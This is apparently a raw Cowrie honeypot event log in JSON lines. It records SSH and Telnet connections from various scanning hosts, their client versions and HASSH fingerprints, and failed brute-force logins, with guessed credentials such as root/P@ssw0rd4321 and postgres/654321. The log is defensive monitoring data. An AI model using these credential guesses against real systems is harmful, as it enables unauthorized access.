{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":59102,"dst_ip":"159.203.135.109","dst_port":22,"session":"452a52de1572","protocol":"ssh","message":"New connection: 167.86.88.212:59102 (159.203.135.109:22) [session: 452a52de1572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:52.307049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:52.310177Z","src_ip":"167.86.88.212","session":"452a52de1572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:52.402708Z","src_ip":"167.86.88.212","session":"452a52de1572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"password","message":"login attempt [user01/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:52.803812Z","src_ip":"167.86.88.212","session":"452a52de1572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:38:53.899227Z","src_ip":"167.86.88.212","session":"452a52de1572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.439089059829712,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:01.817127Z","src_ip":"170.64.224.25","session":"b979b7510342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":47184,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed251a6ba137","protocol":"ssh","message":"New connection: 5.182.83.231:47184 (10.17.0.5:22) [session: ed251a6ba137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:03.176205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:03.181998Z","src_ip":"5.182.83.231","session":"ed251a6ba137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:03.291336Z","src_ip":"5.182.83.231","session":"ed251a6ba137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd4321","message":"login attempt [root/P@ssw0rd4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:03.758483Z","src_ip":"5.182.83.231","session":"ed251a6ba137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:04.869400Z","src_ip":"5.182.83.231","session":"ed251a6ba137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.325018167495728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:05.439274Z","src_ip":"107.6.151.170","session":"747d4046f2d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.97870993614197,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:09.111697Z","src_ip":"137.184.5.188","session":"7382f4d1eac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":43826,"dst_ip":"159.203.135.109","dst_port":22,"session":"95eef8688e3f","protocol":"ssh","message":"New connection: 223.17.1.118:43826 (159.203.135.109:22) [session: 95eef8688e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:12.843740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:12.848128Z","src_ip":"223.17.1.118","session":"95eef8688e3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:13.078430Z","src_ip":"223.17.1.118","session":"95eef8688e3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo123","message":"login attempt [demo/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:13.940553Z","src_ip":"223.17.1.118","session":"95eef8688e3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:15.151407Z","src_ip":"223.17.1.118","session":"95eef8688e3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36656,"dst_ip":"159.203.135.109","dst_port":22,"session":"eea138c6438f","protocol":"ssh","message":"New connection: 194.113.233.25:36656 (159.203.135.109:22) [session: eea138c6438f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:28.304965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:28.309569Z","src_ip":"194.113.233.25","session":"eea138c6438f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:28.393158Z","src_ip":"194.113.233.25","session":"eea138c6438f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"231119","message":"login attempt [root/231119] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:28.648621Z","src_ip":"194.113.233.25","session":"eea138c6438f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.2687304019928,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:28.938453Z","src_ip":"170.64.224.25","session":"209ef785bd26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45606,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc3970cedb2f","protocol":"telnet","message":"New connection: 170.64.224.25:45606 (159.203.135.109:23) [session: fc3970cedb2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:29.085213Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:29.734164Z","src_ip":"194.113.233.25","session":"eea138c6438f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":52038,"dst_ip":"159.203.135.109","dst_port":22,"session":"081e2dc0ab9d","protocol":"ssh","message":"New connection: 217.160.226.51:52038 (159.203.135.109:22) [session: 081e2dc0ab9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:30.400122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:30.405013Z","src_ip":"217.160.226.51","session":"081e2dc0ab9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:30.514765Z","src_ip":"217.160.226.51","session":"081e2dc0ab9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"secret","message":"login attempt [ubuntu/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:30.986421Z","src_ip":"217.160.226.51","session":"081e2dc0ab9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:32.099217Z","src_ip":"217.160.226.51","session":"081e2dc0ab9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":53546,"dst_ip":"10.17.0.5","dst_port":22,"session":"da9209e14b44","protocol":"ssh","message":"New connection: 62.133.62.83:53546 (10.17.0.5:22) [session: da9209e14b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:34.709614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:34.713835Z","src_ip":"62.133.62.83","session":"da9209e14b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:34.791839Z","src_ip":"62.133.62.83","session":"da9209e14b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22011994","message":"login attempt [root/22011994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:35.037303Z","src_ip":"62.133.62.83","session":"da9209e14b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:36.117681Z","src_ip":"62.133.62.83","session":"da9209e14b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":51088,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd9fb692ade9","protocol":"ssh","message":"New connection: 91.92.40.4:51088 (10.17.0.5:22) [session: fd9fb692ade9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:36.926578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:36.947667Z","src_ip":"91.92.40.4","session":"fd9fb692ade9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:37.019208Z","src_ip":"91.92.40.4","session":"fd9fb692ade9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"654321","message":"login attempt [postgres/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:37.363411Z","src_ip":"91.92.40.4","session":"fd9fb692ade9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:38.712303Z","src_ip":"91.92.40.4","session":"fd9fb692ade9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":36420,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb9b5eba461b","protocol":"ssh","message":"New connection: 175.118.127.138:36420 (159.203.135.109:22) [session: fb9b5eba461b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:42.076544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:42.080415Z","src_ip":"175.118.127.138","session":"fb9b5eba461b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:42.263259Z","src_ip":"175.118.127.138","session":"fb9b5eba461b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"123456","message":"login attempt [ali/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:43.017559Z","src_ip":"175.118.127.138","session":"fb9b5eba461b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:44.200221Z","src_ip":"175.118.127.138","session":"fb9b5eba461b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":45388,"dst_ip":"10.17.0.5","dst_port":22,"session":"967a88f6278e","protocol":"ssh","message":"New connection: 162.241.129.208:45388 (10.17.0.5:22) [session: 967a88f6278e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:45.406246Z"}
